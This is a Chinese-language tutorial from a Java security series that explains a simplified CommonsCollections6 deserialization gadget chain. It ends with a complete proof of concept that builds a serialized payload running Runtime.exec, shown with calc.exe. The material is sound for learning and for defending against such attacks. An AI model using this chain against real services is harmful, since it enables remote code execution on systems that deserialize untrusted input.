這是代碼審計知識星球中《Java安全漫談》的第十二篇文章。
本文帶大家編寫一個簡化版的CommonsCollections6利用鏈,代碼量相比於ysoserial減少50%,能夠讓大家更好理解。
上一篇文章我們詳細分析了CommonsCollections1這個利用鏈和其中的LazyMap原理。但是我們說到,在Java 8u71以後,這個利用鏈不能再利用了,主要原因是
sun.reflect.annotation.AnnotationInvocationHandler#readObject
的邏輯變化了。
在ysoserial中,CommonsCollections6可以說是commons-collections這個庫中相對比較通用的利用鏈,爲了解決高版本Java的利用問題,我們先來看看這個利用鏈。
不過,本文我不會按照ysoserial中的代碼進行講解,原因是ysoserial的代碼過於複雜了,而且其實用到了一些沒必要的類。
我們先看下我這條簡化版利用鏈:
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
我們需要看的主要是從最開始到
org.apache.commons.collections.map.LazyMap.get()
的那一部分,因爲
LazyMap#get
後面的部分在上一篇文章裏已經說了。所以簡單來說, 解決Java高版本利用問題,實際上就是在找上下文中是否還有其他調用
LazyMap#get()
的地方
。
我們找到的類是
org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue方法中調用了
this.map.get
,而其hashCode方法調用了getValue方法:
package org.apache.commons.collections.keyvalue;
import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
// ...
}
所以,欲觸發LazyMap利用鏈,要找到就是哪裏調用了
TiedMapEntry#hashCode
。
ysoserial中,是利用
java.util.HashSet#readObject
到
HashMap#put()
到
HashMap#hash(key)
最後到
TiedMapEntry#hashCode()
。
實際上我發現,在
java.util.HashMap#readObject
中就可以找到
HashMap#hash()
的調用,去掉了最前面的兩次調用:
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// ...
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
// ...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在HashMap的readObject方法中,調用到了
hash(key)
,而hash方法中,調用到了
key.hashCode()
。所以,我們只需要讓這個key等於TiedMapEntry對象,即可連接上前面的分析過程,構成一個完整的Gadget。
構造Gadget代碼
說幹就幹,我們開始編寫代碼。
首先,我們先把惡意LazyMap構造出來:
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
上述代碼,就像我在《Java安全漫談 - 11.反序列化篇(5)》中說過的,爲了避免本地調試時觸發命令執行,我構造LazyMap的時候先用了一個人畜無害的
fakeTransformers
對象,等最後要生成Payload的時候,再把真正的
transformers
替換進去。
現在,我拿到了一個惡意的LazyMap對象
outerMap
,將其作爲
TiedMapEntry
的map屬性:
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
接着,爲了調用
TiedMapEntry#hashCode()
,我們需要將
tme
對象作爲
HashMap
的一個key。注意,這裏我們需要新建一個HashMap,而不是用之前LazyMap利用鏈裏的那個HashMap,兩者沒任何關係:
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
最後,我就可以將這個
expMap
作爲對象來序列化了,不過,別忘了將真正的
transformers
數組設置進來:
// ==================
// 將真正的transformers數組設置進來
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
執行!
Nothing happend!並沒有彈出計算器,這是爲什麼?
爲什麼我們構造的Gadget沒有成功執行命令?
我們來反思一下,爲什麼我們構造的Gadget沒有成功執行命令?
單步調試一下,你會發現關鍵點在LazyMap的get方法,下圖我畫框的部分,就是最後觸發命令執行的
transform()
,但是這個if語句並沒有進入,因爲
map.containsKey(key)
的結果是true:
這是爲什麼呢?outerMap中我並沒有放入一個key是
keykey
的對象呀?
我們看下之前的代碼,唯一出現
keykey
的地方就是在
TiedMapEntry
的構造函數里,但
TiedMapEntry
的構造函數並沒有修改outerMap:
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
其實,這個關鍵點就出在
expMap.put(tme, "valuevalue");
這個語句裏面。
HashMap的put方法中,也有調用到
hash(key)
:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
這裏就導致
LazyMap
這個利用鏈在這裏被調用了一遍,因爲我前面用了
fakeTransformers
,所以此時並沒有觸發命令執行,但實際上也對我們構造Payload產生了影響。
我們的解決方法也很簡單,只需要將keykey這個Key,再從outerMap中移除即可:
outerMap.remove("keykey")
。
最後,我構造的完整POC如下,代碼也可以在Github上找到:
package com.govuln;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地測試觸發
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
大家可以對比一下,相比於ysoserial的CommonsCollections6的代碼長度和理解的難度,我這個簡化版是不是方便理解得多,實際上原理是類似的,並不是一個新的利用鏈。
這個利用鏈可以在Java 7和8的高版本觸發,沒有版本限制:
當然,我並不是說自己簡化的Gadget一定比ysoserial原版要好,畢竟原版的很多代碼會考慮的更加全面,在實戰中能應對更多複雜的情況。但就單從初學者理解的角度看,我這個簡化版肯定是更加方便理解和學習的,相信這篇文章也能給大家帶來一些啓發。
點擊
閱讀原文
閱讀全系列文章:
-
Java安全漫談 - 01.反射篇(1)
-
Java安全漫談 - 02.反射篇(2)
-
Java安全漫談 - 03.反射篇(3)
-
Java安全漫談 - 04.RMI篇(1)
-
Java安全漫談 - 05.RMI篇(2)
-
Java安全漫談 - 06.RMI篇(3)
-
Java安全漫談 - 07.反序列化篇(1)
-
Java安全漫談 - 08.反序列化篇(2)
-
Java安全漫談 - 09.反序列化篇(3)
-
Java安全漫談 - 10.反序列化篇(4)
-
Java安全漫談 - 11.反序列化篇(5)
-
Java安全漫談 - 12.反序列化篇(6)